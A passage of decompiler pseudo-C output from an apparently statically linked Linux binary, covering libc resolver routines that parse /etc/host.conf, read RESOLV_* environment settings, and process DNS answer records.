                                    *L08078524 = 0;
                                }
                                *L080793B0 = *L080793B0 + 24;
                                *L08078524 = *L08078524 + 1;
                            }
                        }
                        ebx = Vfffffe98 + 32;
                        L08056640();
                        if(L08057280(Vfffffeb0, 35099, ebx, *L080793B0, ebx) != -1 && *(Vfffffe9c + 32) == 2) {
                            esi = *(Vfffffea0 + 32);
                            if(L08057280(Vfffffeb0, 35093, ebx) != -1 && *(Vfffffea4 + 32) == 2 && !(edx = *(Vfffffea8 + 32) & esi)) {
                                eax = *L080793B0;
                                *(eax + 16) = edx;
                                *(eax + 20) = esi;
                                if(*L08078524 == -1) {
                                    *L08078524 = 0;
                                }
                                *L080793B0 = *L080793B0 + 24;
                                *L08078524 = *L08078524 + 1;
                            }
                        }
                        Vfffffea8 = Vfffffea8 + 64;
                        Vfffffea4 = Vfffffea4 + 64;
                        Vfffffea0 = Vfffffea0 + 64;
                        Vfffffe9c = Vfffffe9c + 64;
                        Vfffffe98 = Vfffffe98 + 64;
                    } while(Vfffffeac = Vfffffeac + -2);
                }
            }
            eax = close(Vfffffeb0);
            if(*L08078524 == 0) {
                goto L0804a9c9;
            }
        }
        ebx = *(A8 + 16);
        if(ebx != 0) {
            esi = & Vfffffeb4;
            do {
                if(*ebx == 0) {
                    break;
                }
                *L080793B0 = 0x80792c0;
                ecx = *L08078524;
                if(ecx != 0) {
                    eax = ecx & 1;
                    if(ecx > 0 && eax == 0) {
                        goto L0804a958;
                    }
                    eax = *ebx;
                    edx = *L080793B0;
                    eax = *eax & *(edx + 20);
                    if(*(edx + 16) == eax) {
                        goto L0804a983;
                    }
                    *L080793B0 = *L080793B0 + 24;
                    if(!(ecx = ecx - 1)) {
L0804a958:
                        do {
                            eax = *ebx;
                            edx = *L080793B0;
                            if(*(edx + 16) == ( *eax & *(edx + 20))) {
                                goto L0804a983;
                            }
                            *L080793B0 = *L080793B0 + 24;
                            eax = *ebx;
                            edx = *L080793B0;
                            eax = *eax & *(edx + 20);
                            if(*(edx + 16) == eax) {
                                goto L0804a983;
                            }
                            *L080793B0 = *L080793B0 + 24;
                        } while(ecx = ecx + -2);
                    }
                }
            } while(ebx = ebx + 4);
            goto L0804a9c9;
L0804a983:
            L08056480();
            L08056480();
            eax = L08056480(esi, *ebx, 4, *ebx, *( *(A8 + 16)), 4, *( *(A8 + 16)), esi, 4);
        }
    }
L0804a9c9:
    esp = ebp + -372;
}

/*	Procedure: 0x0804A9D6 - 0x0804A9D7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804A9D6()
{



}

/*	Procedure: 0x0804A9D8 - 0x0804B7FD
 *	Argument size: 0
 *	Local size: 1044
 *	Save regs size: 12
 */

L0804A9D8()
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffbec;
	/* unknown */ void  Vfffffbf0;
	/* unknown */ void  Vfffffbf4;
	/* unknown */ void  Vfffffbf8;
	/* unknown */ void  Vfffffbfc;
	/* unknown */ void  Vfffffc00;
	/* unknown */ void  Vfffffc04;
	/* unknown */ void  Vfffffc05;
	/* unknown */ void  Vfffffc07;



    esi = 0;
    Vfffffbf8 = 0x807a358;
    L0805E954();
    eax = L08055668("RESOLV_HOST_CONF");
    Vfffffbf4 = eax;
    if(Vfffffbf4 == 0) {
        Vfffffbf4 = "/etc/host.conf";
    }
    eax = fopen(Vfffffbf4, "r");
    Vfffffbfc = eax;
    if(Vfffffbfc == 0) {
        *L08079DD4 = 1;
        *L08079DD8 = 0;
    } else {
        Vfffffbf0 = & Vfffffc00;
L0804aa5c:
        while(1) {
            if(L0804F5C4(Vfffffbf0, 1024, Vfffffbfc) == 0) {
                goto L0804b41c;
            }
            ebx = L08057BE8(Vfffffbf0, 10);
            if(ebx != 0) {
                *ebx = 0;
            }
            if(Vfffffc00 == 35) {
                continue;
            }
            ebx = & Vfffffc00;
            if(Vfffffc00 != 0) {
                edx = *L08078FA0;
                do {
                    if(*(edx + ( *ebx & 255) * 2 + 1) & 32) {
                        break;
                    }
                    if(ebx = ebx + 1) {
                        goto L0804aa5c;
                    }
                } while(*ebx != 0);
            }
            if(ebx == 0 || *ebx == 0) {
                continue;
            }
            edi = ebx;
            al = 0;
            asm("cld");
            ecx = -1;
            asm("repne scasb");
            edx = !ecx;
            Vfffffbec = edx;
            L08056570();
            if(L080566BC(Vfffffbf0, "order", 5, Vfffffbf0, ebx, Vfffffbec) != 0 || Vfffffc05 != 0 && *( *L08078FA0 + (Vfffffc05 & 255) * 2 + 1) & 32) {
                if(L080566BC(Vfffffbf0, "multi", 5) != 0 || Vfffffc05 != 0 && *( *L08078FA0 + (Vfffffc05 & 255) * 2 + 1) & 32) {
                    if(L080566BC(Vfffffbf0, "nospoof", 7) != 0 || Vfffffc07 != 0 && *( *L08078FA0 + (Vfffffc07 & 255) * 2 + 1) & 32) {
                        if(L080566BC(Vfffffbf0, "alert", 5) != 0 || Vfffffc05 != 0 && *( *L08078FA0 + (Vfffffc05 & 255) * 2 + 1) & 32) {
                            if(L080566BC(Vfffffbf0, "reorder", 7) != 0 || Vfffffc07 != 0 && *( *L08078FA0 + (Vfffffc07 & 255) * 2 + 1) & 32) {
                                if(L080566BC(Vfffffbf0, "trim", 4) != 0 || Vfffffc04 != 0 && *( *L08078FA0 + (Vfffffc04 & 255) * 2 + 1) & 32) {
                                    ebx = L08057B30(Vfffffbf0, " \t");
                                    if(ebx != 0) {
                                        *ebx = 0;
                                    }
                                    (save)Vfffffbf0;
                                    (save)L0805E584( *L08078F9C, 11, 13, "resolv+: \"%s\" is an invalid keyword\n");
                                    (save)0x80787a4;
                                    L0804F680();
                                    esp = esp + 12;
                                    continue;
                                }
                                if(*L08078520 > 3) {
                                    continue;
                                }
                                ebx = L08057B30(Vfffffbf0, " \t");
                                if(ebx != 0) {
                                    while(*ebx == 32 || *ebx == 9) {
                                        ebx = ebx + 1;
                                    }
                                    if(*ebx != 0) {
                                        goto L0804b34c;
                                    }
                                }
                                (save)"trim";
                                goto L0804b395;
L0804b34c:
                                L08056640(Vfffffbf8, ebx);
                                *( *L08078520 * 4 + 0x807a348) = Vfffffbf8;
                                *L08078520 = *L08078520 + 1;
                                edi = ebx;
                                al = 0;
                                asm("cld");
                                ecx = -1;
                                asm("repne scasb");
                                edx = !ecx;
                                Vfffffbec = edx;
                                Vfffffbf8 = Vfffffbf8 + Vfffffbec;
                                continue;
                            }
                            ebx = L08057B30(Vfffffbf0, " \t");
                            if(ebx != 0) {
                                if(*ebx != 0) {
                                    edx = *L08078FA0;
                                    do {
                                        if(*(edx + ( *ebx & 255) * 2 + 1) & 32) {
                                            break;
                                        }
                                        if(ebx = ebx + 1) {
                                            goto L0804b2bc;
                                        }
                                    } while(*ebx != 0);
                                }
                                if(ebx != 0 && *ebx != 0) {
                                    goto L0804b1c3;
                                }
                            }
L0804b2bc:
                            (save)"reorder";
                            goto L0804b395;
L0804b1c3:
                            edi = ebx;
                            al = 0;
                            asm("cld");
                            ecx = -1;
                            asm("repne scasb");
                            if(ecx == -4 && L080566BC(ebx, "on", 2) == 0) {
                                if(*(ebx + 2) == 0) {
                                    goto L0804b1fe;
                                }
                                edx = *(ebx + 2) & 255;
                                if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                                    goto L0804b1fe;
                                }
                            }
                            edi = ebx;
                            al = 0;
                            asm("cld");
                            ecx = -1;
                            asm("repne scasb");
                            if(ecx == -5 && L080566BC(ebx, "off", 3) == 0) {
                                if(*(ebx + 3) == 0) {
                                    goto L0804b24b;
                                }
                                edx = *(ebx + 3) & 255;
                                if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                                    goto L0804b24b;
                                }
                            }
                            (save)"reorder";
                            goto L0804b261;
L0804b24b:
                            *L0807851C = 0;
                            continue;
L0804b1fe:
                            *L0807851C = 1;
                            continue;
                        }
                        ebx = L08057B30(Vfffffbf0, " \t");
                        if(ebx != 0) {
                            if(*ebx != 0) {
                                edx = *L08078FA0;
                                do {
                                    if(*(edx + ( *ebx & 255) * 2 + 1) & 32) {
                                        break;
                                    }
                                    if(ebx = ebx + 1) {
                                        goto L0804b124;
                                    }
                                } while(*ebx != 0);
                            }
                            if(ebx != 0 && *ebx != 0) {
                                goto L0804b07f;
                            }
                        }
L0804b124:
                        (save)"alert";
                        goto L0804b395;
L0804b07f:
                        edi = ebx;
                        al = 0;
                        asm("cld");
                        ecx = -1;
                        asm("repne scasb");
                        if(ecx == -4 && L080566BC(ebx, "on", 2) == 0) {
                            if(*(ebx + 2) == 0) {
                                goto L0804b0ba;
                            }
                            edx = *(ebx + 2) & 255;
                            if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                                goto L0804b0ba;
                            }
                        }
                        edi = ebx;
                        al = 0;
                        asm("cld");
                        ecx = -1;
                        asm("repne scasb");
                        if(ecx == -5 && L080566BC(ebx, "off", 3) == 0) {
                            if(*(ebx + 3) == 0) {
                                goto L0804b107;
                            }
                            edx = *(ebx + 3) & 255;
                            if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                                goto L0804b107;
                            }
                        }
                        (save)"alert";
                        goto L0804b261;
L0804b107:
                        *L08078518 = 0;
                        continue;
L0804b0ba:
                        *L08078518 = 1;
                        continue;
                    }
                    ebx = L08057B30(Vfffffbf0, " \t");
                    if(ebx != 0) {
                        if(*ebx != 0) {
                            edx = *L08078FA0;
                            do {
                                if(*(edx + ( *ebx & 255) * 2 + 1) & 32) {
                                    break;
                                }
                                if(ebx = ebx + 1) {
                                    goto L0804afe0;
                                }
                            } while(*ebx != 0);
                        }
                        if(ebx != 0 && *ebx != 0) {
                            goto L0804af3b;
                        }
                    }
L0804afe0:
                    (save)"nospoof";
                    goto L0804b395;
L0804af3b:
                    edi = ebx;
                    al = 0;
                    asm("cld");
                    ecx = -1;
                    asm("repne scasb");
                    if(ecx == -4 && L080566BC(ebx, "on", 2) == 0) {
                        if(*(ebx + 2) == 0) {
                            goto L0804af76;
                        }
                        edx = *(ebx + 2) & 255;
                        if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                            goto L0804af76;
                        }
                    }
                    edi = ebx;
                    al = 0;
                    asm("cld");
                    ecx = -1;
                    asm("repne scasb");
                    if(ecx == -5 && L080566BC(ebx, "off", 3) == 0) {
                        if(*(ebx + 3) == 0) {
                            goto L0804afc3;
                        }
                        edx = *(ebx + 3) & 255;
                        if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                            goto L0804afc3;
                        }
                    }
                    (save)"nospoof";
                    goto L0804b261;
L0804afc3:
                    *L08078514 = 0;
                    continue;
L0804af76:
                    *L08078514 = 1;
                    continue;
                }
                ebx = L08057B30(Vfffffbf0, " \t");
                if(ebx != 0) {
                    if(*ebx != 0) {
                        edx = *L08078FA0;
                        do {
                            if(*(edx + ( *ebx & 255) * 2 + 1) & 32) {
                                break;
                            }
                            if(ebx = ebx + 1) {
                                goto L0804ae9c;
                            }
                        } while(*ebx != 0);
                    }
                    if(ebx != 0 && *ebx != 0) {
                        goto L0804adf7;
                    }
                }
L0804ae9c:
                (save)"multi";
L0804b395:
                (save)Vfffffbf4;
                (save)"resolv+: %s: \"%s\" command incorrectly formatted.\n";
                (save)12;
                (save)11;
                (save) *L08078F9C;
                goto L0804b3ac;
L0804adf7:
                edi = ebx;
                al = 0;
                asm("cld");
                ecx = -1;
                asm("repne scasb");
                if(ecx == -4 && L080566BC(ebx, "on", 2) == 0) {
                    if(*(ebx + 2) == 0) {
                        goto L0804ae32;
                    }
                    edx = *(ebx + 2) & 255;
                    if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                        goto L0804ae32;
                    }
                }
                edi = ebx;
                al = 0;
                asm("cld");
                ecx = -1;
                asm("repne scasb");
                if(ecx == -5 && L080566BC(ebx, "off", 3) == 0) {
                    if(*(ebx + 3) == 0) {
                        goto L0804ae7f;
                    }
                    edx = *(ebx + 3) & 255;
                    if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                        goto L0804ae7f;
                    }
                }
                (save)"multi";
L0804b261:
                (save)Vfffffbf4;
                (save)L0805E584( *L08078F9C, 11, 12, "resolv+: %s: \"%s\" command incorrectly formatted.\n");
                (save)0x80787a4;
                L0804F680();
                (save)ebx;
                (save)L0805E584( *L08078F9C, 11, 13, "resolv+: \"%s\" is an invalid keyword\n");
                (save)0x80787a4;
                L0804F680();
                esp = esp + 28;
                continue;
L0804ae7f:
                *L08078510 = 0;
                continue;
L0804ae32:
                *L08078510 = 1;
                continue;
            }
            ebx = L08057B30(Vfffffbf0, " \t");
            if(ebx != 0 && *(ebx + 1) != 0) {
                do {
                    if(*ebx == 32 || *ebx == 9) {
L0804ab7c:
                        ebx = ebx + 1;
                        continue;
                    }
                    edi = L08057B30(ebx, " ,;:");
                    if(edi != 0) {
                        *edi = 0;
                    }
                    if(L080566BC(ebx, "bind", 4) == 0) {
                        if(*(ebx + 4) == 0) {
                            goto L0804abc8;
                        }
                        edx = *(ebx + 4) & 255;
                        if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                            goto L0804abc8;
                        }
                    }
                    if(L080566BC(ebx, "hosts", 5) == 0) {
                        if(*(ebx + 5) == 0) {
                            goto L0804ac16;
                        }
                        edx = *(ebx + 5) & 255;
                        if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                            goto L0804ac16;
                        }
                    }
                    if(L080566BC(ebx, "nis", 3) == 0) {
                        if(*(ebx + 3) == 0) {
                            goto L0804ac52;
                        }
                        edx = *(ebx + 3) & 255;
                        if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                            goto L0804ac52;
                        }
                    }
                    (save)"order";
                    (save)Vfffffbf4;
                    (save)L0805E584( *L08078F9C, 11, 12, "resolv+: %s: \"%s\" command incorrectly formatted.\n");
                    (save)0x80787a4;
                    L0804F680();
                    (save)ebx;
                    (save)L0805E584( *L08078F9C, 11, 13, "resolv+: \"%s\" is an invalid keyword\n");
                    (save)0x80787a4;
                    L0804F680();
                    (save)"nis";
                    (save)"hosts";
                    (save)"bind";
                    (save)L0805E584( *L08078F9C, 11, 14, "resolv+: valid keywords are: %s, %s and %s\n");
                    (save)0x80787a4;
                    L0804F680();
                    esp = esp + 48;
                    goto L0804acf0;
L0804ac52:
                    *(esi * 4 + 0x8079dd4) = 3;
                    esi = esi + 1;
                    goto L0804acf0;
L0804ac16:
                    *(esi * 4 + 0x8079dd4) = 2;
                    esi = esi + 1;
                    goto L0804acf0;
L0804abc8:
                    *(esi * 4 + 0x8079dd4) = 1;
                    esi = esi + 1;
                    if(!( *L0807854C & 1)) {
                        L0804D744();
                    }
L0804acf0:
                    if(edi == 0) {
                        break;
                    }
                    ebx = edi + 1;
                } while(ebx != 0);
                if(esi != 0) {
                    continue;
                }
                (save)"order";
                (save)Vfffffbf4;
                (save)L0805E584( *L08078F9C, 11, 12, "resolv+: %s: \"%s\" command incorrectly formatted.\n");
                (save)0x80787a4;
                L0804F680();
                (save)"resolv+: search order not specified or unrecognized keyword, host resolution will fail.\n";
                (save)15;
                (save)11;
                (save) *L08078F9C;
                (save)L0805E584();
                (save)0x80787a4;
                L0804F680();
                esp = esp + 40;
                continue;
            }
            (save)"order";
            (save)Vfffffbf4;
            (save)"resolv+: %s: \"%s\" command incorrectly formatted.\n";
            (save)12;
            (save)11;
            (save) *L08078F9C;
L0804b3ac:
            esp = esp + 16;
            (save)L0805E584();
            (save)0x80787a4;
            L0804F680();
            esp = esp + 16;
        }
        goto L0804ab7c;
L0804b41c:
        *(esi * 4 + 0x8079dd4) = 0;
        L0804F540(Vfffffbfc);
    }
    ebx = L08055668("RESOLV_SERV_ORDER");
    if(ebx != 0) {
        esi = 0;
        ebx = L080568D0(ebx, " ,;:");
        if(ebx != 0) {
            do {
                if(L080566BC(ebx, "bind", 4) == 0) {
                    if(*(ebx + 4) == 0) {
                        goto L0804b492;
                    }
                    edx = *(ebx + 4) & 255;
                    if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                        goto L0804b492;
                    }
                }
                if(L080566BC(ebx, "hosts", 5) == 0) {
                    if(*(ebx + 5) == 0) {
                        goto L0804b4da;
                    }
                    edx = *(ebx + 5) & 255;
                    if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
                        goto L0804b4da;
                    }
                }
                if(L080566BC(ebx, "nis", 3) == 0) {
                    if(*(ebx + 3) == 0) {
                        goto L0804b512;
                    }
                    edx = *(ebx + 3) & 255;
                    if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
L0804b512:
                        *(esi * 4 + 0x8079dd4) = 3;
                        goto L0804b51d;
L0804b4da:
                        *(esi * 4 + 0x8079dd4) = 2;
L0804b51d:
                        esi = esi + 1;
                        goto L0804b51e;
L0804b492:
                        *(esi * 4 + 0x8079dd4) = 1;
                        esi = esi + 1;
                        if(!( *L0807854C & 1)) {
                            L0804D744();
                        }
                    }
                }
L0804b51e:
                ebx = L080568D0(0, " ,;:");
            } while(ebx != 0);
            *(esi * 4 + 0x8079dd4) = 0;
        }
    }
    ebx = L08055668("RESOLV_SPOOF_CHECK");
    if(ebx != 0) {
        if(L080566BC(ebx, "warn", 4) == 0) {
            if(*(ebx + 4) != 0) {
                edx = *(ebx + 4) & 255;
                if(*( *L08078FA0 + edx * 2 + 1) & 32) {
                    goto L0804b59c;
                }
            }
            *L08078514 = 1;
            *L08078518 = 1;
        } else {
L0804b59c:
            if(L080566BC(ebx, "off", 3) == 0) {
                if(*(ebx + 3) != 0) {
                    edx = *(ebx + 3) & 255;
                    if(*( *L08078FA0 + edx * 2 + 1) & 32) {
                        goto L0804b5dc;
                    }
                }
                *L08078514 = 0;
                *L08078518 = 0;
            } else {
L0804b5dc:
                if(L080566BC(ebx, "warn off", 8) == 0) {
                    if(*(ebx + 8) != 0) {
                        edx = *(ebx + 8) & 255;
                        if(*( *L08078FA0 + edx * 2 + 1) & 32) {
                            goto L0804b61c;
                        }
                    }
                    *L08078514 = 1;
                    *L08078518 = 0;
                } else {
L0804b61c:
                    *L08078514 = 1;
                }
            }
        }
    }
    ebx = L08055668("RESOLV_MULTI");
    if(ebx != 0) {
        if(L080566BC(ebx, "on", 2) == 0) {
            if(*(ebx + 2) == 0) {
                goto L0804b663;
            }
            edx = *(ebx + 2) & 255;
            if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
L0804b663:
                *L08078510 = 1;
                goto L0804b67a;
            }
        }
        *L08078510 = 0;
    }
L0804b67a:
    ebx = L08055668("RESOLV_REORDER");
    if(ebx != 0) {
        if(L080566BC(ebx, "on", 2) == 0) {
            if(*(ebx + 2) == 0) {
                goto L0804b6b7;
            }
            edx = *(ebx + 2) & 255;
            if(!( *( *L08078FA0 + edx * 2 + 1) & 32)) {
L0804b6b7:
                *L0807851C = 1;
                goto L0804b6ce;
            }
        }
        *L0807851C = 0;
    }
L0804b6ce:
    ebx = L08055668("RESOLV_ADD_TRIM_DOMAINS");
    if(ebx != 0) {
        (save)" ,;:";
        for((save)ebx; 1; (save)0) {
            ebx = L080568D0();
            esp = esp + 8;
            if(ebx == 0) {
                break;
            }
            if(*L08078520 <= 3) {
                L08056640(Vfffffbf8, ebx);
                *( *L08078520 * 4 + 0x807a348) = Vfffffbf8;
                *L08078520 = *L08078520 + 1;
                edi = ebx;
                al = 0;
                asm("cld");
                ecx = -1;
                asm("repne scasb");
                edx = !ecx;
                Vfffffbec = edx;
                Vfffffbf8 = Vfffffbf8 + Vfffffbec;
            }
            (save)" ,;:";
        }
    }
    eax = L08055668("RESOLV_OVERRIDE_TRIM_DOMAINS");
    ebx = eax;
    if(ebx != 0) {
        *L08078520 = 0;
        Vfffffbf8 = 0x807a358;
        (save)" ,;:";
        for((save)ebx; 1; (save)0) {
            eax = L080568D0();
            ebx = eax;
            esp = esp + 8;
            if(ebx == 0) {
                break;
            }
            if(*L08078520 <= 3) {
                L08056640(Vfffffbf8, ebx);
                *( *L08078520 * 4 + 0x807a348) = Vfffffbf8;
                *L08078520 = *L08078520 + 1;
                edi = ebx;
                al = 0;
                asm("cld");
                ecx = -1;
                asm("repne scasb");
                edx = !ecx;
                Vfffffbec = edx;
                Vfffffbf8 = Vfffffbf8 + Vfffffbec;
            }
            (save)" ,;:";
        }
    }
    *L080784F8 = 1;
    esp = ebp + -1056;
}

/*	Procedure: 0x0804B7FE - 0x0804B7FF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804B7FE()
{



}

/*	Procedure: 0x0804B800 - 0x0804BEAC
 *	Argument size: 20
 *	Local size: 312
 *	Save regs size: 12
 */

L0804B800(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffec8;
	/* unknown */ void  Vfffffed0;
	/* unknown */ void  Vfffffed4;
	/* unknown */ void  Vfffffed8;
	/* unknown */ void  Vfffffedc;
	/* unknown */ void  Vfffffee0;
	/* unknown */ void  Vfffffee4;
	/* unknown */ void  Vfffffee8;
	/* unknown */ void  Vfffffeec;
	/* unknown */ void  Vfffffef0;
	/* unknown */ void  Vfffffef4;
	/* unknown */ void  Vfffffef8;
	/* unknown */ void  Vfffffefc;



    Vfffffed4 = 0;
    Vfffffed0 = A10;
    *L08079E74 = 0;
    Vfffffef8 = A8 + Ac;
    ax = *(A8 + 6);
    asm("xchg al,ah");
    Vfffffee0 = ax & 65535;
    ax = *(A8 + 4);
    asm("xchg al,ah");
    Vfffffef4 = 0x8079f14;
    Vfffffee4 = 1025;
    esi = A8 + 12;
    if(ax != 1) {
        *L0807E788 = 3;
    } else {
        ebx = L0804D02C(A8, Vfffffef8, esi, Vfffffef4, Vfffffee4);
        if(ebx < 0) {
            *L0807E788 = 3;
        } else {
            L0805E954();
            esi = esi + ebx + 4;
            if(A18 == 1) {
                edi = Vfffffef4;
                al = 0;
                asm("cld");
                ecx = -1;
                asm("repne scasb");
                ebx = !ecx;
                edx = Vfffffef4;
                *L08079E74 = edx;
                Vfffffef4 = *L08079E74 + ebx;
                Vfffffee4 = Vfffffee4 - ebx;
                A10 = *L08079E74;
            }
            Vfffffef0 = 0x8079e88;
            *L08079E88 = 0;
            *L08079E78 = 0x8079e88;
            Vfffffeec = 0x8079de4;
            *L08079DE4 = 0;
            *L08079E84 = 0x8079de4;
            Vfffffedc = 0;
            Vfffffed8 = 0;
            eax = Vfffffee0;
            Vfffffee0 = Vfffffee0 - 1;
            if(eax > 0 && Vfffffef8 > esi) {
                do {
                    ebx = L0804D02C(A8, Vfffffef8, esi, Vfffffef4, Vfffffee4);
                    if(ebx >= 0) {
                        esi = esi + ebx;
                        (save)esi;
                        edi = L0804D6B8() & 65535;
                        esi = esi + 2;
                        (save)esi;
                        Vfffffee8 = L0804D6B8() & 65535;
                        esi = esi + 6;
                        (save)esi;
                        ebx = L0804D6B8() & 65535;
                        esi = esi + 2;
                        esp = esp + 12;
                        if(Vfffffee8 != A14) {
                            goto L0804bda7;
                        }
                        if(A18 == 1 && edi == 5) {
                            goto L0804b9f6;
                        }
                        if(A18 == 12 && edi == 5) {
                            goto L0804bb38;
                        }
                        if(A18 != edi) {
                            goto L0804bba7;
                        }
                        if(edi != 1) {
                            goto L0804bbe5;
                        }
                        if(L080565F8( *L08079E74, Vfffffef4) != 0) {
                            goto L0804bc86;
                        }
                        if(Vfffffedc == 0) {
                            *L08079E80 = ebx;
                            ecx = 0x8079e7c;
                            if(Vfffffee8 != 1) {
                                *ecx = 0;
                            } else {
                                *L08079E7C = 2;
                            }
                            edx = Vfffffef4;
                            *L08079E74 = edx;
                            edi = Vfffffef4;
                            al = 0;
                            asm("cld");
                            ecx = -1;
                            asm("repne scasb");
                            ecx = !ecx;
                            Vfffffec8 = ecx;
                            Vfffffef4 = edx + ecx;
                            Vfffffee4 = Vfffffee4 - ecx;
                        } else {
                            if(*L08079E80 != ebx) {
                                goto L0804bda7;
                            }
                        }
                        Vfffffef4 = Vfffffef4 + 4 - (Vfffffef4 & 3);
                        if(Vfffffef4 + ebx < 0x807a315) {
                            if(Vfffffeec < 0x8079e6c) {
                                eax = Vfffffef4;
                                edx = Vfffffeec;
                                *edx = eax;
                                Vfffffeec = edx + 4;
                                L08056480(esi, *edx, ebx);
                                Vfffffef4 = Vfffffef4 + ebx;
                                esi = esi + ebx;
                                goto L0804bde0;
                            }
                            if(*L0807854C & 2) {
                                goto L0804bda7;
                            }
                            Vfffffed4 = Vfffffed4 + 1;
                            if(Vfffffed4 != 1) {
                                goto L0804bda7;
                            }
                            L0804F7EC("Too many addresses (%d)\n", 35);
                            goto L0804bda7;
                        }
                        if(!( *L0807854C & 2)) {
                            L0804F7EC("size (%d) too big\n", ebx);
                            goto L0804bd6c;
L0804bda7:
                            esi = esi + ebx;
                            goto L0804bdef;
L0804bc86:
                            (save)Vfffffef4;
                            edx = *L08079E74;
                            goto L0804bc8d;
L0804bbe5:
                            if(edi != 12) {
                                L08055ECC();
                            } else {
                                if(L080565F8(Vfffffed0, Vfffffef4) != 0) {
                                    goto L0804bc10;
                                }
                                if(L0804D02C(A8, Vfffffef8, esi, Vfffffef4, Vfffffee4) >= 0) {
                                    goto L0804bc4c;
                                }
                                Vfffffed8 = Vfffffed8 + 1;
                            }
L0804bde0:
                            if(Vfffffed8 != 0) {
                                goto L0804bdef;
                            }
                            Vfffffedc = Vfffffedc + 1;
                            goto L0804bdef;
L0804bc10:
                            (save)Vfffffef4;
                            edx = A10;
L0804bc8d:
                            (save)edx;
                            (save)L0805E584( *L08078F9C, 11, 26, "gethostby*.getanswer: asked for \"%s\", got \"%s\"");
                            (save)37;
                            L08054EB0();
                            esi = esi + ebx;
                            esp = esp + 16;
                            goto L0804bdef;
L0804bba7:
                            (save)Vfffffef4;
                            (save)edi;
                            (save)A10;
                            (save)A18;
                            (save)L0805E584( *L08078F9C, 11, 28, "gethostby*.getanswer: asked for type %d(%s), got %d(%s)");
                            (save)37;
                            L08054EB0();
                            esi = esi + ebx;
                            esp = esp + 24;
                            goto L0804bdef;
L0804bb38:
                            ebx = L0804D02C(A8, Vfffffef8, esi, & Vfffffefc, 257);
                            if(ebx >= 0) {
                                esi = esi + ebx;
                                edi = & Vfffffefc;
                                al = 0;
                                asm("cld");
                                ecx = -1;
                                asm("repne scasb");
                                ebx = !ecx;
                                if(Vfffffee4 >= ebx) {
                                    L08056640(Vfffffef4, & Vfffffefc);
                                    edx = Vfffffef4;
                                    Vfffffed0 = edx;
                                    goto L0804bb86;
L0804b9f6:
                                    if(Vfffffef0 >= 0x8079f10) {
                                        goto L0804bdef;
                                    }
                                    ebx = L0804D02C(A8, Vfffffef8, esi, & Vfffffefc, 257);
                                    if(ebx >= 0) {
                                        esi = esi + ebx;
                                        if(*L08079E74 != 0 && L080565F8( *L08079E74, Vfffffef4) != 0) {
                                            goto L0804ba5c;
                                        }
                                        edx = Vfffffef4;
                                        eax = Vfffffef0;
                                        *eax = edx;
                                        Vfffffef0 = eax + 4;
                                        edi = Vfffffef4;
                                        al = 0;
                                        asm("cld");
                                        ecx = -1;
                                        asm("repne scasb");
                                        ebx = !ecx;
                                        Vfffffef4 = edx + ebx;
                                        Vfffffee4 = Vfffffee4 - ebx;
                                        edi = & Vfffffefc;
                                        asm("cld");
                                        ecx = -1;
                                        asm("repne scasb");
                                        ebx = !ecx;
                                        if(Vfffffee4 >= ebx) {
                                            goto L0804baed;
                                        }
                                    }
                                }
                            }
                        }
                    }
L0804bd6c:
                    Vfffffed8 = Vfffffed8 + 1;
                    goto L0804bdef;
L0804baed:
                    (save) & Vfffffefc;
                    (save)Vfffffef4;
                    L08056640();
                    edx = Vfffffef4;
                    *L08079E74 = edx;
L0804bb86:
                    Vfffffef4 = edx + ebx;
                    Vfffffee4 = Vfffffee4 - ebx;
                    goto L0804bdef;
L0804ba5c:
                    (save)Vfffffef4;
                    (save) *L08079E74;
                    (save)L0805E584( *L08078F9C, 11, 27, "gethostby*.getanswer: asked for \"%s\", got CNAME for \"%s\"");
                    (save)37;
                    L08054EB0();
                    esp = esp + 16;
L0804bdef:
                    eax = Vfffffee0;
                    Vfffffee0 = Vfffffee0 - 1;
                    if(eax <= 0 || Vfffffef8 <= esi) {
                        break;
                    }
                } while(Vfffffed8 == 0);
                goto L0804be14;
L0804bc4c:
                *L08079E74 = Vfffffef4;
L0804bc58:
                eax = 0x8079e74;
                goto L0804bea0;
            }
L0804be14:
            if(Vfffffedc != 0) {
                *Vfffffef0 = 0;
                *Vfffffeec = 0;
                if(!( *L080786A8 & 240) && Vfffffedc > 1 && A14 == 1 && A18 == 1) {
                    L0804CBE4(0x8079de4, Vfffffedc);
                }
                if(*L08079E74 != 0) {
                    goto L0804bc58;
                }
                L08056640(Vfffffef4, A10);
                *L08079E74 = Vfffffef4;
                goto L0804bc58;
            }
            *L0807E788 = 2;
        }
    }
    eax = 0;
L0804bea0:
    esp = ebp + -324;
}

/*	Procedure: 0x0804BEAD - 0x0804BF7E
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 12
 */

L0804BEAD()
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    if(*L080784F8 == 0) {
        L0804A9D8();
    }
    edi = 0;
    if(*L08079DD4 != 0) {
        esi = 0x8079dd4;
        do {
            if(edi > 3) {
                break;
            }
            eax = *esi;
            if(eax == 2) {
                ebx = L0804C5A4();
                if(*L08079DE8 != 0 && *L0807851C != 0) {
                    L0804A5CC(ebx);
                }
                if(ebx != 0) {
                    goto L0804bf4c;
                }
            } else {
